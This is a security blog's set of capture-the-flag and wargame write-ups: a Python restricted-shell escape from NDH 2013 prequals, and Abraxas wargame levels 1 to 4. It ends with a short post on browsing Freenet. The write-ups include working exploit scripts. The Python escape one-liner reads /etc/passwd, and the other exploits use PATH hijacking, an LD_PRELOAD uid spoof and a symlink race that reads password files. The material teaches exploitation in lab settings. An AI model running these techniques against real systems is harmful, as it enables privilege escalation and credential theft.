dimanche 10 mars 2013

[NDH2k13] Prequals - Meow (misc)

Hello there,

For NDH Prequals 2k13, the question for today is:

Can I Haz Flag?
(sorry, no screens or logs of all original functions ...)

In the following article, we'll see some Python black magic that will allow us to escape a restricted shell :).

The cat fight problem


Yeah, cat fighting! meeooow!
Basically, we had to connect to it through telnet:
telnet z0b.nuitduhack.com 2323

Then we're welcome by a Meow ASCII art.
Trying 54.228.228.251...
Connected to z0b.nuitduhack.com.
Escape character is '^]'.
 _ __ ___   ___  _____      __
| '_ ` _ \ / _ \/ _ \ \ /\ / /
| | | | | |  __/ (_) \ V  V /
|_| |_| |_|\___|\___/ \_/\_/

Welcome on the only kitten-friendly Python shell.
Please use auth() to authenticate if you need access to
the ultimate furry function.

Some available functions:
 kitty() -- get a kitty
 auth(password) -- authenticate


So we basically are only permitted to use auth() and check() by default.
Yeah, we're basically stuck in a "Python Restricted Shell".


... or not


Digging a bit in builtins, we found out we can use dig():
>>> dir()
['__builtins__', 'auth', 'check', 'fight', 'flipacoin', 'kitty', 'purr', 'status', 'thanks']

Neat! We can basically list any attributes of  most objects (not the restricted one).

auth(password), authenticate the user for the second part of the challenge (Meow Meow) and give us a flag.
check() is the check function.
And thanks() give us this output:
>>> thanks()
Thanks to Guido, Glyph and pyfiglet authors.

The rest isn't really interesting.

With dir(), we can basically look in python intrinsics.


Python intrinsics


We you dir a list for instance, you can see stuffs like that:
>>> dir([])
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__setslice__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']

All those __name__ things are intrinsics attributes (or methods).
That's how you redefined some ops and all.

Our objectives was to get at some code, either by reading a file or dumping byte code or whatever!
Let's test some stuffs first:

>>> [].__class__.__name__
'list'
>>> [].__class__.__class__.__name__
'type'

Cool, we can have access to type!
It's exciting because we can list what python call "Method Resolution Order" on objects we don't have attributes (such as status, etc) as it will internally call the mro() of these objects.

>>> [].__class__.__class__.mro([].__class__.__class__.__new__([].__class__.__class__, status))
[<class '__main__.Wrapper'>, <type 'object'>]

Now we have the type of status :).
__main__.Wrapper ... just give us a small idea of software architecture.
Yeah, but we wanna create objects or stuffs like import?
For that, we need to see what are the base classes (and maybe go down by creating classes). And the object upon which all Python objects descend? object


object is a neat object

We are going to get object and look at its descendants as it gives us access to the following:
__bases__ intrinsic attribute give use the base object that an object herit from.
__subclasses_() intrisic method give us the object that descend upon that object.


And how we did it:
>>> ().__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>,
<type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>,
<type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>,
<type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>,
<type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>,
<type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, 
<type 'property'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, 
<type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>,
<type 'instancemethod'>, <type 'function'>, <type 'classobj'>,
<type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, 
<type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>,
<type 'member_descriptor'>, <type 'sys.floatinfo'>, <type 'EncodingMap'>,
<type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>,
<type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, 
<type 'posix.stat_result'>, <type 'posix.statvfs_result'>, 
<class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>,
<class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>,
<class '_abcoll.Sized'>, <class '_abcoll.Container'>,
<class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>,
<type 'file'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>,
<class 'codecs.IncrementalDecoder'>, <type '_random.Random'>, <type 'Struct'>,
<type 'time.struct_time'>, <type 'cStringIO.StringO'>,
<type 'cStringIO.StringI'>, <class 'zipfile.ZipInfo'>,
<class 'string.Template'>, <type '_sre.SRE_Pattern'>,
<class 'string.Formatter'>, <type 'functools.partial'>,
<type 'operator.itemgetter'>, <type 'operator.attrgetter'>,
<type 'operator.methodcaller'>, <class 'pyfiglet.FigletFont'>,
<class 'pyfiglet.FigletRenderingEngine'>, <class 'pyfiglet.Figlet'>,
<class 'socket._closedsocket'>, <type '_socket.socket'>,
<type 'method_descriptor'>, <class 'socket._socketobject'>,
<class 'socket._fileobject'>, <class 'twisted.python.compat.tsafe'>,
<class 'twisted.python.versions._inf'>,
<class 'twisted.python.versions.Version'>, <type 'select.epoll'>,
<class 'urlparse.ResultMixin'>, <type 'collections.deque'>,
<type 'deque_iterator'>, <type 'deque_reverse_iterator'>,
<class 'pkg_resources.WorkingSet'>, <class 'pkg_resources.Environment'>,
<class 'pkg_resources.EntryPoint'>, <class 'pkg_resources.Distribution'>,
<type 'thread._local'>, <type 'datetime.tzinfo'>, <type 'datetime.time'>,
<type 'datetime.timedelta'>, <type 'datetime.date'>,
<type 'OpenSSL.SSL.Connection'>, <type 'OpenSSL.SSL.Context'>,
<type 'NetscapeSPKI'>, <type 'PKCS12'>, <type 'PKCS7'>, <type 'X509Extension'>,
<type 'OpenSSL.crypto.PKey'>, <type 'X509Req'>, <type 'X509Store'>,
<type 'X509Name'>, <type 'X509'>,
<class 'twisted.python.deprecate._DeprecatedAttribute'>,
<class 'twisted.python.deprecate._ModuleProxy'>,
<class 'twisted.python.util.SubclassableCStringIO'>, <type 'grp.struct_group'>,
<type 'pwd.struct_passwd'>,
<class 'zope.interface.declarations.ObjectSpecificationDescriptorPy'>,
<class 'zope.interface.declarations.ClassProvidesBasePy'>,
<class 'zope.interface.interface.Element'>,
<class 'zope.interface.interface.SpecificationBasePy'>,
<class 'zope.interface.interface.InterfaceBasePy'>,
<type '_interface_coptimizations.SpecificationBase'>,
<type '_interface_coptimizations.ObjectSpecificationDescriptor'>,
<type '_zope_interface_coptimizations.InterfaceBase'>,
<type '_zope_interface_coptimizations.LookupBase'>,
<class 'threading._Verbose'>, <class 'twisted.python.threadable.DummyLock'>,
<class 'twisted.python.threadable.XLock'>,
<class 'twisted.python.reflect.PropertyAccessor'>,
<class 'twisted.python.log.PythonLoggingObserver'>,
<class 'twisted.python.failure._Traceback'>,
<class 'twisted.python.failure._Frame'>, <class 'twisted.python.failure._Code'>,
<class 'twisted.python.lockfile.FilesystemLock'>,
<class 'twisted.internet.defer._ConcurrencyPrimitive'>,
<class 'twisted.internet.defer.DeferredQueue'>, <type 'itertools.combinations'>,
<type 'itertools.cycle'>, <type 'itertools.dropwhile'>,
<type 'itertools.takewhile'>, <type 'itertools.islice'>,
<type 'itertools.starmap'>, <type 'itertools.imap'>, <type 'itertools.chain'>,
<type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>,
<type 'itertools.count'>, <type 'itertools.izip'>,
<type 'itertools.izip_longest'>, <type 'itertools.permutations'>,
<type 'itertools.product'>, <type 'itertools.repeat'>,
<type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>,
<type 'itertools.tee'>, <type 'itertools._grouper'>,
<class 'twisted.internet.abstract.FileDescriptor'>,
<class 'twisted.internet.base.ThreadedResolver'>,
<class 'twisted.internet.base._ThreePhaseEvent'>,
<class 'twisted.internet.base.ReactorBase'>,
<class 'twisted.internet.base._SignalReactorMixin'>,
<class 'twisted.internet.address.IPv4Address'>,
<class 'twisted.internet.address.UNIXAddress'>,
<class 'twisted.internet.task.LoopingCall'>,
<class 'twisted.internet.task._Timer'>,
<class 'twisted.internet.task.CooperativeTask'>,
<class 'twisted.internet.task.Cooperator'>,
<class 'twisted.internet.task.Clock'>,
<class 'twisted.internet.tcp._TLSDelayed'>,
<type '_hashlib.HASH'>,
<class 'twisted.internet._sslverify.OpenSSLCertificateOptions'>,
<class 'zope.interface.adapter.BaseAdapterRegistry'>,
<class 'zope.interface.adapter.LookupBasePy'>,
<class 'zope.interface.adapter.AdapterLookupBase'>,
<class 'twisted.python.components._ProxiedClassMethod'>,
<class 'twisted.python.components._ProxyDescriptor'>,
<class 'twisted.internet.process._BaseProcess'>,
<class 'twisted.internet._signals._Handler'>,
<class 'twisted.internet.posixbase._FDWaker'>,
<class '__main__.Wrapper'>, <type '_ast.AST'>, <type 'cell'>]


When I saw that, I was like: Oh My God! *_* beautiful, I can almost create any freaking object I want.

We tried a bunch of stuffs. For instance opening files:
>>> ().__class__.__bases__[0].__subclasses__()[58]('meow.py', 'r')
Internal error: file() constructor not accessible in restricted mode.

We even tried looking at the code:
>>> auth.func_code
<code object auth at 0x7f9ab195b828, file "/opt/meow/challenge.py", line 235>

Yay! We have the real path of the challenge, spent a loooot of time trying to figure out how to read the file. Didn't manage it.

Hell, let's dir() it:

>>> dir(auth.func_code)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__',
 '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__',
 '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__',
 '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount',
 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno',
 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names',
 'co_nlocals', 'co_stacksize', 'co_varnames']

There is the co_code that seems interesting but we'll come back to that later.

check() is the same type as auth(), so:

>>> check.func_code.co_consts
(' Check a password.\n\n    :param string password: Secret password.\n    ',
'G', '$', 'K', '!', '%', '@', 'S', '#',
<code object <lambda> at 0x7f9ab195b210, file "/opt/meow/challenge.py", line 127>, '',
<code object <lambda> at 0x7f9ab195b288, file "/opt/meow/challenge.py", line 128>, 14,
'\x00',
<code object xxx at 0x7f9ab195b378, file "/opt/meow/challenge.py", line 131>, 7,
<code object <lambda> at 0x7f9ab195b3f0, file "/opt/meow/challenge.py", line 148>,
'%s', 2, '916F601F6A625DF351086CBCF25BAECA')

Oh, nice, we seem to have something that look like some kind of hash!!!
We tried bruteforce of course (with oclHashcat) but not luck. Back to some reversing.


auth() reverse engineering

Ok back to auth().
In auth, we can get the bytecode with auth.func_code.co_code.
You can disassemble it using the dis module in python (please note that the bytecode change between Python versions). Like so:

import dis
dis.dis('some bytecode here')

I must say that it was when I got lazy.
Doing bytecode translation to python by hand ...
And reconstructing a .pyc ...
Was time to eat.
When I came back, Celelibi came up with something like this:

def check(password):
 array = ['G', '$', 'K', '!', '%', '@', 'S', '#']
 cte = lambda a: ''.join([a[2], a[0], a[6], a[3], a[5], a[7], a[1], a[4]])
 tmp = ''.join(map(lambda x: x.upper(), password[:14]))
 tempPass = ''.join(['\x00' * (14 - len(password)), tmp])
 #xxx = lambda: # ci-dessus
 k = xxx(tempPass[:7])
 d = lambda k: DES.new(k, DES.MODE_ECB)
 obj = d(k)
 h = obj.encrypt(cte(array))
 k = xxx(tempPass[7:])
 obj = d(k)
 h += obj.encrypt(cte(array))
 return '%s' % ''.join([hex(dec)[2:].zfill(2) for dec in [ord(c) for c in h]]).upper() == '916F601F6A625DF351086CBCF25BAECA'



def auth(password):
 if check(password):
  print 'The first flag is: ' + FLAG1
  print 'Also, here is a secret purry function.'
  return 0
 else:
  print 'Wrong password. Meow shfffff.'
  return None

Huh!
WTF!
7 bytes + 7 bytes ... sound like LM Hash.
Let's check our good friend Wikipédia:

     

Algorithm

The LM hash is computed as follows:[1][2]

    The user's password is restricted to a maximum of fourteen characters.[Notes 1]
    The user’s password is converted to uppercase.
    The user's password is encoded in the System OEM Code page[3]
    This password is null-padded to 14 bytes.[4]
    The “fixed-length” password is split into two seven-byte halves.
    These values are used to create two DES keys, one from each 7-byte half, by converting the seven bytes into a bit stream, and inserting a null bit after every seven bits (so 1010100 becomes 01010100). This generates the 64 bits needed for a DES key. (A DES key ostensibly consists of 64 bits; however, only 56 of these are actually used by the algorithm. The null bits added in this step are later discarded.)
    Each of the two keys is used to DES-encrypt the constant ASCII string “KGS!@#$%”,[Notes 2] resulting in two 8-byte ciphertext values. The DES CipherMode should be set to ECB, and PaddingMode should be set to NONE.
    These two ciphertext values are concatenated to form a 16-byte value, which is the LM hash.

It basically use the password as two sets of 7 bytes (56 bits) DES keys.
Perfect for DES since it only uses 56 bits (because of the NSA ...).

So, we can now crack the hash and we get:
LM("SH3|DON'S S0N9") = 916F601F6A625DF351086CBCF25BAECA


Ok great, let's try.

Onto the end of the road

So we enter the password:
>>> auth("SH3|DON'S S0N9")
The first flag is: Int3rnEt1sm4de0fc47
Also, here is a secret purry function.
<function secret at 0x14e8050>

Yeeeeees!
auth() when authenticated, it prints the flag and return a secret() function.
Secret function() is "Meow Meow" challenge ;).

Bonus track

A bug, unintended feature at the beginning (removed during the game):
>>> exec(os.system("/bin/sh", {'__builtins__': {'__import__':__builtins__.__import__}})
Internal error: EOL while scanning string literal ($telnet$, line 1).

Variables were not allowed ... but well we can still create classes:
len([c for c in ().__class__.__bases__[0].__subclasses__() if 'classobj' == c.__name__][0]('Obj', (), {'__len__' : lambda x: 5})())
(we also managed to crushed some variables using list comprehension and such)

Enumeration of dist-packages (found while trying to find a way to import):
>>> ().__class__.__bases__[0].__subclasses__()[91]().find_plugins(().__class__.__bases__[0].__subclasses__()[92]())
([pyasn1 0.0.11a (/usr/lib/pymodules/python2.6),
wsgiref 0.1.2 (/usr/lib/python2.6),
pyfiglet 0.4 (/usr/lib/python2.6/dist-packages),
PAM 0.4.2 (/usr/lib/python2.6/dist-packages),
pyOpenSSL 0.10 (/usr/lib/pymodules/python2.6),
pyglet 1.1.4 (/usr/local/lib/python2.6/dist-packages),
pycrypto 2.1.0 (/usr/lib/python2.6/dist-packages),
pyserial 2.3 (/usr/lib/python2.6/dist-packages),
Python 2.6 (/usr/lib/python2.6/lib-dynload),
Twisted 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Conch 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Core 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Lore 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Mail 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Names 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-News 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Runner 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Web 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Words 10.1.0 (/usr/lib/python2.6/dist-packages)],
{zope.interface 3.5.3 (/usr/lib/python2.6/dist-packages):
DistributionNotFound(Requirement.parse('distribute'),)})

And the best for the end: you thought we couldn't open files, execute or import stuffs? Think again:
[x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']("os").popen("cat /etc/passwd").read()

Got that afterward (with some help). So no, I don't have the source code of the challenge :(.

Conclusion

Of course, we tried many many more stuffs but well, was repetitive: looking around python intrinsics and reading some docs.

heh, you thought you couldn't do anything in restricted shell?
This challenge just proved us wrong.
We can do prolly almost anything with a bit of python wizardry and if not properly restricted.

It also shows that it is REALLY hard to have a fully secure thing.

In the end, we had a really good time,

Hope you enjoyed the article,

Cheers,

m_101

References



- Python types and objects
- Python DataModel
- Python restricted shells 1
- Python restricted shells 2
- Python builtin functions
- Python traceback
- pkg_resources
- Python pointer dereference method 1
- Python pointer dereference method 2

Cool stuffs:
- Mysterie python bytecode decompiler

Other (cool) write-ups:
- Delroth - Escaping a Python sandbox


mercredi 6 mars 2013

[HES 2011] Abraxas Wargame - Level 4

Hello,

Time for level 4 of abraxas,

No useful clues in logbook.

First, let's check the cronjob:
$ cat /etc/cron.d/workpackagebuilder 
*/5 * * * *    level4 /home/level4/bin/make_random_input.sh && /home/level4/bin/workpackagebuilder.pl &> /dev/null

It runs every 5 minutes.

Nothing interesting in /home/level4/bin/make_random_input.sh, it just output some useless ASCII to put in the files.
But /home/level4/bin/workpackagebuilder.pl IS interesting.
#!/usr/bin/perl

$inputdir="/opt/workpackagebuilder/input/";
$templatedir="/opt/workpackagebuilder/templates/"; 
$outputdir="/opt/workpackagebuilder/output"; 
$workdir="/opt/workpackagebuilder/work"; 

$rnd = int(rand(20));
$tmpfile="$workdir/tmpfile$rnd";
$outputfile="$outputdir/workpackage$rnd.bin";

sub readfile($) {
  local ($fn) = @_;
  local $/=undef;
  open FILE, $fn or die "Couldn't open file: $!";
  binmode FILE;
  local $string = <FILE>;
  close FILE;
  return $string;
}

print "Cleaning up $tmpfile\n";
system "rm -rf $workdir/*";

print "Waiting for $tmpfile to be gone ...\n";
sleep 30;

# make sure nothing dirty remains
if(-l "$tmpfile") {
    exit;
}

if(-d "$tmpfile") {
    exit;
}

print "Reading input directory $inputdir\n";

# list all codes in the input dir and write them to a temporary file
opendir(my $dh, $inputdir) || die;
open OUT, ">$tmpfile";
while($f = readdir $dh) {
 if($f =~ /(\d+)_(\S+)/) {
     $code = $2;
     print OUT "$code\n";
 }
}
close OUT;
closedir $dh;

print "Done reading input directory, creating workpackage\n";

# read the list of input codes, and find their matching template
open OUT,">$outputfile";
open IN, "<$tmpfile";
while($code = <IN>) {
    chomp $code;
# if the template exists, use it
    if(-e "$templatedir/$code.bin") {
    print "Using template for $code\n";
    print OUT readfile("$templatedir/$code.bin");
    } else {
# otherwise, flag an error
    print "ERROR for $code\n";
    print OUT readfile("$templatedir/ERROR.bin");
    }
}
close IN;
close OUT;

# make sure all files get backed up
system "touch $outputdir/*";
system "rm -rf $workdir/*";

exit 0;

So basically, it picks a random number between 0 and 20 to create a tmpfile and an output file.
Any package name that is in input/ is outputed in tmpfile.
tmpfile is read line by line in order to get the correct template file that is outputed to output file.

That's all it does.
Before beginning, we ought to know the folders permissions:
$ ls -lash /opt/workpackagebuilder/
total 24K
4.0K drwxr-xr-x 6 root   root   4.0K 2011-04-05 00:07 .
4.0K drwxr-xr-x 4 root   root   4.0K 2011-04-06 10:54 ..
4.0K drwxr-x--- 2 level4 level3 4.0K 2013-03-06 12:20 input
4.0K drwxr-x--- 2 level4 level3 4.0K 2013-03-06 12:20 output
4.0K drwxr-x--- 2 level4 level3 4.0K 2011-04-05 00:07 templates
4.0K drwxrwx--- 2 level4 level3 4.0K 2013-03-06 12:20 work

Ok we can write tou work/ folder (which is where tmpfiles are stored).
We can basically control data in tmpfile.
This data is used to determined the path to a template. We don't need to bother to guess what is the random number ... just generate all 21 files! ;)
Looking at readfile, we can see open(), so I tried a the "| str" or "str |" trick in order to try to execute custom code. No luck, the .bin is forbidding us that.
But it doesn't really matter, we have an arbitrary file read through $code control:
print OUT readfile("$templatedir/$code.bin");

We control $code and readfile() just get the content of the file given in parameter => arbitrary read.
Since it has to finish with .bin extension, we use a symlink to redirect to /etc/pass/level4

The thing is ... tmpfile gets rewritten at some point in the script, just after following comment:
# list all codes in the input dir and write them to a temporary file

We ought to remove any write capabilities from other users then.

To get the correct output file, do a diff before and after the script run (you can't see which file is the last one due to touch command).

And we're set!

Here is the exploit:
#!/bin/sh

while true
do
    rm /opt/workpackagebuilder/work/pwn4.bin
    ln -s /etc/pass/level4 /opt/workpackagebuilder/work/pwn4.bin

    for idx in `seq 0 20`;
    do
        echo "../../../opt/workpackagebuilder/work/pwn4" > "/opt/workpackagebuilder/work/tmpfile$idx"
        chmod a-rxw "/opt/workpackagebuilder/work/tmpfile$idx"
        chmod o+r "/opt/workpackagebuilder/work/tmpfile$idx"
        chmod u+rxw "/opt/workpackagebuilder/work/tmpfile$idx"
    done

done

You just gotta wait every 5 minutes and get the password in the corresponding output file ;).

Cheers,

m_101

[HES 2011] Abraxas Wargame - Level 3

Hello,

Level3, here we come!

Clues from the logbook:
- "she's currently testing with generated datasets."
- "The entire thing is written in bash and runs as a cronjob every 10 minutes."

We look at the cronjob to locate the script:
$ cat /etc/cron.d/lifesupport_process 

*/10 * * * *    level3 /home/level3/bin/lifesupport_process.sh &> /dev/null

We read it:
$ cat /home/level3/bin/lifesupport_process.sh
#!/bin/bash

datadir=/opt/lifesupportdata
scriptdir=/home/level3/bin/

PATH=$datadir:.:$scriptdir:$PATH

cd $scriptdir
. common.inc.sh

# life support stats
data=$($scriptdir/lifesupport_data.sh)

echo    "Orig:      $data"
echo -n "Sorted:    "; mysort $data
echo -n "Sum:       "; sum $data
echo -n "Average:   "; avg $data
echo -n "Max:       "; max $data
echo -n "Min:       "; min $data
echo -n "Cumulated: "; cumul $data

mmm, we can see datadir in PATH! Interesting.
Let's look at its perms:
$ ls -lash /opt/
total 16K
4.0K drwxr-xr-x  4 root root   4.0K 2011-04-06 10:54 .
4.0K drwxr-xr-x 21 root root   4.0K 2011-09-02 14:17 ..
4.0K drwx-wx--x  2 root level2 4.0K 2013-03-06 02:17 lifesupportdata
4.0K drwxr-xr-x  6 root root   4.0K 2011-04-05 00:07 workpackagebuilder

We can write to /opt/lifesupportdata!
So we can use PATH to redirect to out script.
I tried with echo but no luck, so when looking at lifesupport_data.sh:
$ cat /home/level3/bin/lifesupport_data.sh 
#!/bin/bash

# FIXME: There is no kernel module yet to retrieve life support data
# This script just spits out random data, so we can at least test the processing scripts

for i in `seq 1 10`;
do
  echo -n $((RANDOM % 100))
  echo -n " "
done
echo

seq work wonderfully, here is the exploit:
#!/bin/sh

cat << EOF > /opt/lifesupportdata/seq
#!/bin/sh

/bin/cat /etc/pass/level3 > /tmp/lvl3.pass
EOF

chmod a+x /opt/lifesupportdata/seq

And yes, the script run as whatever id you run it at, so you can do anything.
Now, you've just got to wait every 10 minutes ;).

Cheers,

m_101

[HES 2011] Abraxas Wargame - Level 2

Hello,

Time for level 2 :).

Clues from logbook:
"All I learned is that it is written in C and authenticates the user with his user ID."

Heh, should be using getuid(), let's check!

File permissions first:
$ ls -lash /home/level2/bin/
total 16K
4.0K drwxr-xr-x 2 level2 level2 4.0K 2011-04-04 15:28 .
4.0K drwxr-xr-x 3 level2 level2 4.0K 2011-04-04 15:28 ..
8.0K -r-x--x--- 1 level2 level1 7.3K 2011-04-04 15:28 recover

No luck, we can't read it ... but we can still check using strace :).

$ strace /home/level2/bin/recover 
execve("/home/level2/bin/recover", ["/home/level2/bin/recover"], [/* 18 vars */]) = 0
brk(0)                                  = 0x9616000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7829000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=31341, ...}) = 0
mmap2(NULL, 31341, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7821000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@n\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1421892, ...}) = 0
mmap2(NULL, 1427880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb76c4000
mmap2(0xb781b000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157) = 0xb781b000
mmap2(0xb781e000, 10664, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb781e000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76c3000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb76c36c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb781b000, 8192, PROT_READ)   = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0xb7848000, 4096, PROT_READ)   = 0
munmap(0xb7821000, 31341)               = 0
getuid32()                              = 1001
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7828000
write(1, "You are not authorized to execut"..., 77You are not authorized to execute this program (UID = 1001 instead of 1002).
) = 77
exit_group(-1)                          = ?

You can see getuid32()! Bingo!

When we try to execute it, it says:
$ /home/level2/bin/recover 

You are not authorized to execute this program (UID = 1001 instead of 1002).

Bummer ... or not.
If you've been playing with Linux (or any UNIX-like) a bit, you ought to know LD_PRELOAD ;).

Here is the exploit:
#!/bin/sh

cat <<EOF >level1.c
#include <unistd.h>

uid_t getuid (void)
{
    return 1002;
}
EOF

gcc -fPIC -c level1.c -o level1.o
gcc -shared -Wl,-soname,libevil.so.1 -o libevil.so.1.0.1 level1.o
LD_PRELOAD=./libevil.so.1.0.1 /home/level2/bin/recover

Cheers,

m_101

[HES 2011] Abraxas Wargame - Level 1

Hello,

I wanted to play a bit.
I randomly chose to play Abraxas Wargame which was especially made for HES (Hackito Ergo Sum) 2011.

First, you'll need to get it:
http://www.overthewire.org/wargames/abraxas/

And the only (sufficient) clues you got:
http://agent7a69.blogspot.fr/

Ok, now to the game.

For the first level, you got 4 clues in the post concerning it:
"From his design documents, I've been able to gather that he uses XOR for performance reasons and a rolling key of only 4 ASCII characters!"
"The communications module can be acivated through "secure" connection to port 4373."
"The communications module displays a banner with lots of spaces and '#' signs in it, which should make the decryption easier."

Ok, so we have:
- XOR "encryption"
- key of 4 ASCII chars
- port 4373
- spaces or #

What I simply did was to code a network program that connect to the target and XOR the output with 0x20202020 (4 spaces then).

For the XOR, it was test and try, after some time and code tuning I realized that the indexes for the xoring were different, you had the following choices:
- one index local to the function so it is re-initialized at every function call
- two index (write and read) local to the function so it is re-initialized at every function call
- one index defined outside of the function so it keeps its state
- two index (write and read) defined outside of the function so it keeps their state
It was the last solution that worked.

When you XOR with 0x20202020, you end up with the following output:
got 366 bytes

3.00000 [ 0.37500 ]

Nfs!dfs!dfs!dfs!dfs!gep"dfs!dep"gep!dfs"gep"Nfs!dfs!dfs!dfs!dfs!ges!ges!dep!dfs!dfp"dfs!Nfs!dfs!dfs!dfs!dfs!ges!des!dep"gep!dfs"gep!Nfs!dfs!dfs!dfs!dfs!ges!ges!dep!dfs!dfs!dfp"Nfs!dfs!dfs!dfs!dfs!gep"dfs!dep!dfs!dfp"gep!NLs!dfs!dfs!dfs!dep"gep"gep"gep"gep"gep"gep"gep"gLs!dfs!dfs!dfs!dep!dfn)+&o-%2u-)=rd<o04<mdfs"gLs!dfs!dfs!dfs!dep"gep"gep"gep"gep"gep"gep"gep"gL

We can deduce that the key is "dfs!", let's try! Yes, no bruteforce needed ...
got 473 bytes
2.00000 [ 0.25000 ]
                   ####     ######    #####
                   ##  ##   ##       ##    
                   ##   #   ######    #### 
                   ##  ##   ##           ##
                   ####     ##       ##### 

               ################################
               ##   Communications Control   ##
               ################################

Menu
----

1. Startup communications.
2. Shutdown communications.
3. Logout.

Please select your action >
Here you go :).

This should be sufficient for you to write the code ;).

Hope you enjoyed it,

m_101

vendredi 13 juillet 2012

Surfing "the deep web"

Hello folks,

I've seen quite some articles on "the deep web" recently and I've read that it's like 550 times bigger than the actual "public web" so it kind of tinkled my curiosity.

The deep web is basically the web that is not referenced by search engines or not easily attainable.
There are multiples ways to hide a website from the eyes of search engines, TOR hidden services, Freenet, dynamic content, etc.

I mainly played with Freenet and here is the summary of my (short) exploration.

Surfing the deep web


Since there are no search engines for the deep web. It is quite particular as how  you surf on it.
The following has been experimented on Freenet but I'm sure you could apply some of it to other deep web services (TOR, etc).

Indexes


The common way to surf on Freenet is to make use of indexes such, some a re unmaintained and other are maintained:
Linkageddon
In The Raw
Another Index
The Public Index
AFK index
Active Link Index
Uncensored Index
Entry Point

Google hacking


Then you can of course find freesite link through Google hacking:
intext:"http://127.0.0.1:8888/usk@" OR intext:"freenet:usk@"

Pastebin


Same on pastebin:
http://pastebin.com/search?q=127.0.0.1%3A8888%2FUSK

Other ways of finding sites


Use what is at your disposal on Freenet:
Sone (social network), boards, etc.
Then you can write custom spiders for instance.

There are also wikis, forums, irc, etc.

What can we find there?


Anything since Freenet is a network distributed file system.
What is really interesting about Freenet though is that it is censor free, so even though you divulge information about something (like vulns, etc), it can't be taken down but by you.

Freesites/Flogs/etc


At first, I was quite disappointed since a lot of those freesites is shit, scumbags, paedophilia, etc. After searching a bit, you get to find good stuff:

XKCD
Fravia's archive pages of reverse engineering
Freenet Social Networking Guide
TI Calculator Signing Keys
AKG: Open Source Intelligence
Laputa Ebooks
Randomizer : Lockpicking
Without A Trace - A Forensics Manual for You and Me

Then there are emulation, abandonware, ebooks, etc, freesites.
I didn't find much freesites about hacking/reversing yet. If you have any interesting freesites, could be great to share ;).

Filesharing


Through boards and newsgroup, you can share files in Freenet. You could also find
long lost or forbidden software such as DeCSS (without this first DVD hack, actual software on Linux would still be unable to play DVD ;)), etc.


Conclusion


